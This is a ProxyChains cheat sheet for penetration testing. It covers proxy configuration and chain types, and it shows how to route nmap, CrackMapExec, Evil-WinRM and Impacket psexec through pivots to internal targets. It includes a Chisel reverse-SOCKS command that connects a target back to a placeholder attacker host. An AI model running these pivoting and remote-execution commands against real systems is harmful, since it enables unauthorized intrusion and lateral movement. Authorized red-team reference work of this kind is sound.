Install

apt install proxychains4

​
Configuration

# /etc/proxychains4.conf

​
SOCKS5 (Most Common)

[ProxyList]
socks5 127.0.0.1 1080

​
SOCKS4

[ProxyList]
socks4 127.0.0.1 1080

​
HTTP Proxy

[ProxyList]
http 127.0.0.1 8080

​
Chain Types

​
strict_chain

All proxies used in order. Fails if any proxy is down. 
strict_chain

​
dynamic_chain

Skips dead proxies, uses the rest in order. 
dynamic_chain

​
random_chain

Random proxy order each connection. 
random_chain
chain_len = 2

​
Double Pivot Chain

[ProxyList]
socks5 127.0.0.1 1080    # First pivot
socks5 127.0.0.1 1081    # Second pivot
Use dynamic_chain to handle if one goes down.

​
Usage with Tools

​
Nmap

proxychains nmap -sT -Pn -p 80,445 INTERNAL_TARGET
Only TCP connect scan (-sT) works through ProxyChains. SYN scan (-sS) and UDP do not work.

​
CrackMapExec

proxychains crackmapexec smb INTERNAL_TARGET -u user -p pass

​
Evil-WinRM

proxychains evil-winrm -i INTERNAL_TARGET -u user -p pass

​
curl

proxychains curl http://INTERNAL_TARGET

​
SSH

proxychains ssh user@INTERNAL_TARGET

​
Impacket

proxychains impacket-psexec user:pass@INTERNAL_TARGET
proxychains impacket-smbclient user:pass@INTERNAL_TARGET

​
Firefox

proxychains firefox

​
Quiet Mode

Suppress ProxyChains output: 
proxychains -q nmap -sT -Pn INTERNAL_TARGET

​
Common Setup Patterns

​
With Chisel

# Attacker: chisel server -p 8000 --reverse
# Target: chisel client ATTACKER:8000 R:socks
# proxychains4.conf: socks5 127.0.0.1 1080

​
With SSH

# ssh -D 1080 user@pivot
# proxychains4.conf: socks5 127.0.0.1 1080

​
With Ligolo

# Ligolo creates tun interface — no ProxyChains needed
# Use ProxyChains only if SOCKS proxy is preferred

​
Troubleshooting

IssueFix
TimeoutIncrease tcp_connect_time_out in config
DNS leakEnable proxy_dns in config
Tool hangsEnsure tool uses TCP, not raw sockets
No outputCheck proxy is actually running
